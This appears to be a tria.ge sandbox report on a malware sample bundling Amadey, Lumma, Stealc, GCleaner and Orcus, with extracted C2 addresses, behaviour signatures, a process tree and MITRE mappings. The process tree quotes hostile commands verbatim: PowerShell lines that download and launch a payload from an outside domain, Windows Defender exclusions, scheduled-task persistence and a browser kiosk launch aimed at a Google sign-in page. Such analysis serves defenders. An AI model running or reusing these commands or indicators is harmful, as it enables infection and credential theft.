Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

547aec0f98...cf.exe

windows7-x64

10

547aec0f98...cf.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    143s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    06/12/2024, 02:35

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    547aec0f988c87b03e73231738462dd61c430708e6f9120eddfa1310b34524cf.exe

  • Size

    1.9MB

  • MD5

    6d17158239deaa10445332a320d93bb4

  • SHA1

    d7928e790267e50aa28a8f734329ea302f8176bb

  • SHA256

    547aec0f988c87b03e73231738462dd61c430708e6f9120eddfa1310b34524cf

  • SHA512

    c002e6913b1a5674d00e9077af4fada039b06f290114c47d3cd58b5ababc713bf9ba84defcf791e1dd51f93662e940baee376214b24c01fcdca0fd867bde55ff

  • SSDEEP

    49152:J/e7mBhRof6OMlO5JMYacMyUAzkBX3PI:pe2TIMlO5J1aotKI

Score
10/10
amadeygcleanerlummaorcusstealc9c9aa5drumdiscoveryevasionexecutionloaderpersistenceratspywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://exodus.lat/COMSurrogate.exe

Extracted

Family

amadey

Version

4.42

Botnet

9c9aa5

C2

http://185.215.113.43

Attributes
  • install_dir

    abc3bc1985

  • install_file

    skotes.exe

  • strings_key

    8a35cf2ea38c2817dba29a4b5b25dcf0

  • url_paths

    /Zu7JuNko/index.php

rc4.plain

Extracted

Family

lumma

C2

https://impend-differ.biz/api

https://print-vexer.biz/api

https://dare-curbys.biz/api

https://covery-mover.biz/api

https://formy-spill.biz/api

https://dwell-exclaim.biz/api

https://zinc-sneark.biz/api

https://se-blurry.biz/api

https://atten-supporse.biz/api

Extracted

Family

stealc

Botnet

drum

C2

http://185.215.113.206

Attributes
  • url_path

    /c4becf79229cb002.php

Extracted

Family

gcleaner

C2

92.63.197.221

45.91.200.135

Extracted

Family

orcus

C2

45.74.38.211:4782

Mutex

7a9c0f279c464958aebbd585f20f1cf2

Attributes
  • autostart_method

    Disable

  • enable_keylogger

    false

  • install_path

    %programfiles%\Orcus\Orcus.exe

  • reconnect_delay

    10000

  • registry_keyname

    Orcus

  • taskscheduler_taskname

    Orcus

  • watchdog_path

    AppData\OrcusWatchdog.exe

Extracted

Family

lumma

C2

https://atten-supporse.biz/api

https://se-blurry.biz/api

https://zinc-sneark.biz/api

https://dwell-exclaim.biz/api

https://formy-spill.biz/api

https://covery-mover.biz/api

https://dare-curbys.biz/api

https://print-vexer.biz/api

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    evasiontrojan
  • Orcus

    Orcus is a Remote Access Trojan that is being sold on underground forums.

    ratspywarestealerorcus
  • Orcus family
    orcus
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 6 IoCs
    evasion
  • Orcurs Rat Executable 3 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 9 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file
  • Checks BIOS information in registry 2 TTPs 12 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 13 IoCs
  • Identifies Wine through registry keys 2 TTPs 6 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 21 IoCs
  • Windows security modification 2 TTPs 2 IoCs
    evasiontrojan
  • Adds Run key to start application 2 TTPs 5 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Enumerates processes with tasklist 1 TTPs 3 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 50 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 5 IoCs
    evasion
  • Modifies registry class 1 IoCs
  • Modifies system certificate store 2 TTPs 6 IoCs
    evasionspywaretrojan
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 47 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of FindShellTrayWindow 19 IoCs
  • Suspicious use of SendNotifyMessage 16 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1200
      • C:\Users\Admin\AppData\Local\Temp\547aec0f988c87b03e73231738462dd61c430708e6f9120eddfa1310b34524cf.exe
        "C:\Users\Admin\AppData\Local\Temp\547aec0f988c87b03e73231738462dd61c430708e6f9120eddfa1310b34524cf.exe"
        2⤵
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Identifies Wine through registry keys
        • Loads dropped DLL
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:2788
        • C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
          "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
          3⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Loads dropped DLL
          • Adds Run key to start application
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2892
          • C:\Users\Admin\AppData\Local\Temp\1012382001\i1A5m12.exe
            "C:\Users\Admin\AppData\Local\Temp\1012382001\i1A5m12.exe"
            4⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:1492
            • C:\Users\Admin\AppData\Local\Temp\is-H21QO.tmp\i1A5m12.tmp
              "C:\Users\Admin\AppData\Local\Temp\is-H21QO.tmp\i1A5m12.tmp" /SL5="$60016,3291517,54272,C:\Users\Admin\AppData\Local\Temp\1012382001\i1A5m12.exe"
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of WriteProcessMemory
              PID:2784
              • C:\Windows\SysWOW64\net.exe
                "C:\Windows\system32\net.exe" pause raf_encoder_1252
                6⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:1084
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 pause raf_encoder_1252
                  7⤵
                  • System Location Discovery: System Language Discovery
                  PID:2012
              • C:\Users\Admin\AppData\Local\RAF Encoder 1.0.1.55\rafencoder.exe
                "C:\Users\Admin\AppData\Local\RAF Encoder 1.0.1.55\rafencoder.exe" -i
                6⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                • Modifies system certificate store
                PID:1440
          • C:\Users\Admin\AppData\Local\Temp\1012475001\wL3EGdM.exe
            "C:\Users\Admin\AppData\Local\Temp\1012475001\wL3EGdM.exe"
            4⤵
            • Executes dropped EXE
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2244
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c copy Audit Audit.cmd && Audit.cmd
              5⤵
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:1680
              • C:\Windows\SysWOW64\tasklist.exe
                tasklist
                6⤵
                • Enumerates processes with tasklist
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                PID:688
              • C:\Windows\SysWOW64\findstr.exe
                findstr /I "wrsa opssvc"
                6⤵
                • System Location Discovery: System Language Discovery
                PID:580
              • C:\Windows\SysWOW64\tasklist.exe
                tasklist
                6⤵
                • Enumerates processes with tasklist
                • System Location Discovery: System Language Discovery
                • Suspicious use of AdjustPrivilegeToken
                PID:2432
              • C:\Windows\SysWOW64\findstr.exe
                findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
                6⤵
                • System Location Discovery: System Language Discovery
                PID:2476
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c md 491505
                6⤵
                • System Location Discovery: System Language Discovery
                PID:1232
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c copy /b ..\Dentists + ..\Flavor + ..\Disturbed + ..\Artistic + ..\Justice + ..\Proceeds + ..\Zip + ..\Soundtrack + ..\Revenue B
                6⤵
                • System Location Discovery: System Language Discovery
                PID:2192
              • C:\Users\Admin\AppData\Local\Temp\491505\Dr.com
                Dr.com B
                6⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Executes dropped EXE
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SendNotifyMessage
                PID:3028
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks.exe /create /tn "ApolloPro" /tr "wscript //B 'C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc onlogon /F /RL HIGHEST
                  7⤵
                  • System Location Discovery: System Language Discovery
                  • Scheduled Task/Job: Scheduled Task
                  PID:268
                • C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe
                  C:\Users\Admin\AppData\Local\Temp\491505\RegAsm.exe
                  7⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3592
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c ""C:\Users\Admin\AppData\Local\Temp\download.bat" "
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:3240
                    • C:\Windows\SysWOW64\net.exe
                      net session
                      9⤵
                      • System Location Discovery: System Language Discovery
                      PID:496
                      • C:\Windows\SysWOW64\net1.exe
                        C:\Windows\system32\net1 session
                        10⤵
                        • System Location Discovery: System Language Discovery
                        PID:3012
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\asm'"
                      9⤵
                      • Command and Scripting Interpreter: PowerShell
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1872
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell -WindowStyle Hidden -Command "& { (New-Object Net.WebClient).DownloadFile('https://exodus.lat/COMSurrogate.exe', 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe') }"
                      9⤵
                      • Blocklisted process makes network request
                      • Command and Scripting Interpreter: PowerShell
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3348
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe' -WindowStyle Hidden"
                      9⤵
                      • Command and Scripting Interpreter: PowerShell
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3200
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c ""C:\Users\Admin\AppData\Local\Temp\runsteal.bat" "
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:3608
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell -Command "Invoke-WebRequest -Uri 'https://exodus.lat/ss.bat' -OutFile 'C:\Users\Admin\AppData\Local\Temp\downloaded_script.bat' -UseBasicParsing"
                      9⤵
                      • Command and Scripting Interpreter: PowerShell
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3756
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\downloaded_script.bat"
                      9⤵
                      • System Location Discovery: System Language Discovery
                      PID:2412
                  • C:\Users\Admin\AppData\Local\Temp\smartscreen.exe
                    "C:\Users\Admin\AppData\Local\Temp\smartscreen.exe"
                    8⤵
                    • Executes dropped EXE
                    • Adds Run key to start application
                    PID:3636
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c ""C:\Users\Admin\AppData\Local\Temp\checkmiexe.bat" "
                    8⤵
                    • System Location Discovery: System Language Discovery
                    PID:3724
                    • C:\Windows\SysWOW64\net.exe
                      net session
                      9⤵
                      • System Location Discovery: System Language Discovery
                      PID:3716
                      • C:\Windows\SysWOW64\net1.exe
                        C:\Windows\system32\net1 session
                        10⤵
                        • System Location Discovery: System Language Discovery
                        PID:3764
                    • C:\Windows\SysWOW64\tasklist.exe
                      tasklist /fi "imagename eq mi.exe"
                      9⤵
                      • Enumerates processes with tasklist
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3964
                    • C:\Windows\SysWOW64\find.exe
                      find /i "mi.exe"
                      9⤵
                      • System Location Discovery: System Language Discovery
                      PID:3828
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\asm'"
                      9⤵
                      • Command and Scripting Interpreter: PowerShell
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2876
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell -WindowStyle Hidden -Command "& { (New-Object Net.WebClient).DownloadFile('https://exodus.lat/COMSurrogate.exe', 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe') }"
                      9⤵
                      • Blocklisted process makes network request
                      • Command and Scripting Interpreter: PowerShell
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2944
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\asm\COMSurrogate.exe' -WindowStyle Hidden"
                      9⤵
                      • Command and Scripting Interpreter: PowerShell
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1656
              • C:\Windows\SysWOW64\choice.exe
                choice /d y /t 15
                6⤵
                • System Location Discovery: System Language Discovery
                PID:1676
          • C:\Users\Admin\AppData\Local\Temp\1012580001\af361a9bea.exe
            "C:\Users\Admin\AppData\Local\Temp\1012580001\af361a9bea.exe"
            4⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Modifies system certificate store
            • Suspicious behavior: EnumeratesProcesses
            PID:2348
          • C:\Users\Admin\AppData\Local\Temp\1012581001\7f22d62c97.exe
            "C:\Users\Admin\AppData\Local\Temp\1012581001\7f22d62c97.exe"
            4⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:2944
          • C:\Users\Admin\AppData\Local\Temp\1012582001\5a603220f9.exe
            "C:\Users\Admin\AppData\Local\Temp\1012582001\5a603220f9.exe"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            PID:1916
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /F /IM firefox.exe /T
              5⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1084
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /F /IM chrome.exe /T
              5⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1504
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /F /IM msedge.exe /T
              5⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:1508
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /F /IM opera.exe /T
              5⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:580
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /F /IM brave.exe /T
              5⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2228
            • C:\Program Files\Mozilla Firefox\firefox.exe
              "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
              5⤵
                PID:956
                • C:\Program Files\Mozilla Firefox\firefox.exe
                  "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                  6⤵
                  • Checks processor information in registry
                  • Modifies registry class
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of SendNotifyMessage
                  PID:1612
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1612.0.131886831\42023252" -parentBuildID 20221007134813 -prefsHandle 1276 -prefMapHandle 1268 -prefsLen 20847 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6351a742-5eaa-4491-8d15-392953d52ebf} 1612 "\\.\pipe\gecko-crash-server-pipe.1612" 1340 44f4158 gpu
                    7⤵
                      PID:560
                    • C:\Program Files\Mozilla Firefox\firefox.exe
                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1612.1.2130270721\1469106561" -parentBuildID 20221007134813 -prefsHandle 1528 -prefMapHandle 1524 -prefsLen 21708 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {f18b0e8b-59ae-4fb6-9a63-42033bfc7d87} 1612 "\\.\pipe\gecko-crash-server-pipe.1612" 1556 4406858 socket
                      7⤵
                        PID:1052
                      • C:\Program Files\Mozilla Firefox\firefox.exe
                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1612.2.1313743205\1031796921" -childID 1 -isForBrowser -prefsHandle 2004 -prefMapHandle 2000 -prefsLen 21746 -prefMapSize 233444 -jsInitHandle 716 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b48434c4-f5b1-4db5-bcbe-c8edcd133140} 1612 "\\.\pipe\gecko-crash-server-pipe.1612" 2016 19b66758 tab
                        7⤵
                          PID:2360
                        • C:\Program Files\Mozilla Firefox\firefox.exe
                          "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1612.3.1773498898\1459404104" -childID 2 -isForBrowser -prefsHandle 2872 -prefMapHandle 2868 -prefsLen 26151 -prefMapSize 233444 -jsInitHandle 716 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {90d7bf9b-933d-4ab0-9c60-f75d5868539a} 1612 "\\.\pipe\gecko-crash-server-pipe.1612" 2884 17e5fe58 tab
                          7⤵
                            PID:1776
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1612.4.1480152191\1001270743" -childID 3 -isForBrowser -prefsHandle 3812 -prefMapHandle 3016 -prefsLen 26351 -prefMapSize 233444 -jsInitHandle 716 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {cbc9d0a2-fed2-44f0-9a17-52808dcbcf5a} 1612 "\\.\pipe\gecko-crash-server-pipe.1612" 3800 20e2e258 tab
                            7⤵
                              PID:580
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1612.5.183674601\540193876" -childID 4 -isForBrowser -prefsHandle 3928 -prefMapHandle 3932 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 716 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {2998d834-c7c5-4eab-a484-abd784c9c9a3} 1612 "\\.\pipe\gecko-crash-server-pipe.1612" 3916 1ed70d58 tab
                              7⤵
                                PID:2220
                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1612.6.789141583\1208129043" -childID 5 -isForBrowser -prefsHandle 4132 -prefMapHandle 4136 -prefsLen 26275 -prefMapSize 233444 -jsInitHandle 716 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b72ac4e8-e445-46ba-9964-3e4f809897bf} 1612 "\\.\pipe\gecko-crash-server-pipe.1612" 4120 20e2b858 tab
                                7⤵
                                  PID:2700
                          • C:\Users\Admin\AppData\Local\Temp\1012583001\72405ef883.exe
                            "C:\Users\Admin\AppData\Local\Temp\1012583001\72405ef883.exe"
                            4⤵
                            • Modifies Windows Defender Real-time Protection settings
                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                            • Checks BIOS information in registry
                            • Executes dropped EXE
                            • Identifies Wine through registry keys
                            • Windows security modification
                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                            • System Location Discovery: System Language Discovery
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1312
                          • C:\Users\Admin\AppData\Local\Temp\1012584001\c6a49f0ee6.exe
                            "C:\Users\Admin\AppData\Local\Temp\1012584001\c6a49f0ee6.exe"
                            4⤵
                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                            • Checks BIOS information in registry
                            • Executes dropped EXE
                            • Identifies Wine through registry keys
                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                            • System Location Discovery: System Language Discovery
                            • Suspicious behavior: EnumeratesProcesses
                            PID:3788
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST
                        2⤵
                        • System Location Discovery: System Language Discovery
                        PID:2200
                        • C:\Windows\SysWOW64\schtasks.exe
                          schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\Admin\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST
                          3⤵
                          • System Location Discovery: System Language Discovery
                          • Scheduled Task/Job: Scheduled Task
                          PID:2028

                    Network

                    MITRE ATT&CK Enterprise v15

                    Reconnaissance

                    Resource Development

                    Initial Access

                    Execution

                    Command and Scripting Interpreter

                    1
                    T1059

                    PowerShell

                    1
                    T1059.001

                    Scheduled Task/Job

                    1
                    T1053

                    Scheduled Task

                    1
                    T1053.005

                    Persistence

                    Boot or Logon Autostart Execution

                    1
                    T1547

                    Registry Run Keys / Startup Folder

                    1
                    T1547.001

                    Create or Modify System Process

                    1
                    T1543

                    Windows Service

                    1
                    T1543.003

                    Scheduled Task/Job

                    1
                    T1053

                    Scheduled Task

                    1
                    T1053.005

                    Privilege Escalation

                    Boot or Logon Autostart Execution

                    1
                    T1547

                    Registry Run Keys / Startup Folder

                    1
                    T1547.001

                    Create or Modify System Process

                    1
                    T1543

                    Windows Service

                    1
                    T1543.003

                    Scheduled Task/Job

                    1
                    T1053

                    Scheduled Task

                    1
                    T1053.005

                    Defense Evasion

                    Impair Defenses

                    2
                    T1562

                    Disable or Modify Tools

                    2
                    T1562.001

                    Modify Registry

                    4
                    T1112

                    Subvert Trust Controls

                    1
                    T1553

                    Install Root Certificate

                    1
                    T1553.004

                    Virtualization/Sandbox Evasion

                    2
                    T1497

                    Credential Access

                    Discovery

                    Process Discovery

                    1
                    T1057

                    Query Registry

                    6
                    T1012

                    System Information Discovery

                    3
                    T1082

                    System Location Discovery

                    1
                    T1614

                    System Language Discovery

                    1
                    T1614.001

                    Virtualization/Sandbox Evasion

                    2
                    T1497

                    Lateral Movement

                    Collection

                    Command and Control

                    Exfiltration

                    Impact

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
                      Filesize

                      342B

                      MD5

                      8488acdc837244b6de4ee772abb1cb0e

                      SHA1

                      c6e3c976ceaf3a83a828d2b0b6efaefbf8d54a42

                      SHA256

                      ad84bb7099977ad08fc9f8183febca54ae6140b224bf8ee1d693b953a6f514e1

                      SHA512

                      b115ce2df4e4fd6cdaa5ffe33cc3dc7398af2300dc810d990f67363b37c47cdc241bb6581e0c7fe228e442d8897d1fc0a5476afbd1110f325366f2558211e13e

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\5nwvfgbl.default-release\activity-stream.discovery_stream.json.tmp
                      Filesize

                      33KB

                      MD5

                      214f3b2129393230ad94e0e64285ad8b

                      SHA1

                      087ac4770bcecf9cccfea9d5fd2a1a242742edd5

                      SHA256

                      cfd3322a2692e3ed2e689a8801af921fdab57c0c5c74f900b83b324fa0f86651

                      SHA512

                      9738cf1cb3c4394e95287c41eeca60878509ab63e4b4458d0f0cac81a99c21e6eb7d72a31e9095f3d5121183776dc4520391d568fd266387b7331ffbe6268fba

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\5nwvfgbl.default-release\settings\main\ms-language-packs\browser\newtab\asrouter.ftl
                      Filesize

                      15KB

                      MD5

                      96c542dec016d9ec1ecc4dddfcbaac66

                      SHA1

                      6199f7648bb744efa58acf7b96fee85d938389e4

                      SHA256

                      7f32769d6bb4e875f58ceb9e2fbfdc9bd6b82397eca7a4c5230b0786e68f1798

                      SHA512

                      cda2f159c3565bc636e0523c893b293109de2717142871b1ec78f335c12bad96fc3f62bcf56a1a88abdeed2ac3f3e5e9a008b45e24d713e13c23103acc15e658

                      Download Submit

                    • C:\Users\Admin\AppData\Local\RAF Encoder 1.0.1.55\sqlite3.dll
                      Filesize

                      630KB

                      MD5

                      e477a96c8f2b18d6b5c27bde49c990bf

                      SHA1

                      e980c9bf41330d1e5bd04556db4646a0210f7409

                      SHA256

                      16574f51785b0e2fc29c2c61477eb47bb39f714829999511dc8952b43ab17660

                      SHA512

                      335a86268e7c0e568b1c30981ec644e6cd332e66f96d2551b58a82515316693c1859d87b4f4b7310cf1ac386cee671580fdd999c3bcb23acf2c2282c01c8798c

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\1012382001\i1A5m12.exe
                      Filesize

                      3.4MB

                      MD5

                      3a16d0e4e4522073da3c8a5a9f9e790b

                      SHA1

                      7a42a21a348d2e49c67b426d333a5c354ed2c83e

                      SHA256

                      ccc4dd64df98c26da462a17a8df9f927d02e202d88ada8cfba92b7bbeb954c3e

                      SHA512

                      1213c3e077b660afa65133f0b5943bd866f02d736284791dc99ae4d30c6ed7705eb55999cb4a3be1cc0a394111904154bc72a2d0f1fdc453893ecf9a4a25b99a

                      Download Submit

                    • C:\Users\Admin\AppData\Local\Temp\1012475001\wL3EGdM.exe
                      Filesize

                      6.9MB

                      MD5

                      a67e34baacfca98f323981d3b0087f3b

                      SHA1

